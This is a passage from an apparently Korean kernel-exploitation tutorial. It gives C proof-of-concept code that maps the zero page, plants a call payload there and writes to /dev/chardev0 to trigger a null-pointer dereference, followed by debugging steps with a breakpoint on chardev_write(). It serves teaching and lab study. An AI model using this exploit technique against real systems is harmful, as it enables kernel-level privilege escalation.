...
Code Block | ||||
---|---|---|---|---|
| ||||
#include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <string.h> #include <unistd.h> char payload[] = "\xe8\xea\xbe\xad\xde"; //call 0xdeadbeef int main(){ char *addr = mmap(0, 4096,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS,-1, 0); if(addr != 0){ printf("[*]Unable to map zero page.\n"); exit(-1); } printf("[*] Mapped zero page.\n"); memcpy(0, payload, sizeof(payload)); int fd = open("/dev/chardev0", O_WRONLY); if(0 < fd){ write(fd, "AAAA", 4); close(fd); }else{ printf("Failed to open file.\n"); } return 0; } |
...
Debug
- chardev_write() 함수의 디버기을 위해 다음과 같이 커널의 주소를 확인합니다.
- chardev_write() 함수의 주소는 0xf9dac000 입니다.
- 해당 주소로 Breakpoint를 설정하고 poc 프로그램을 실행합니다.
...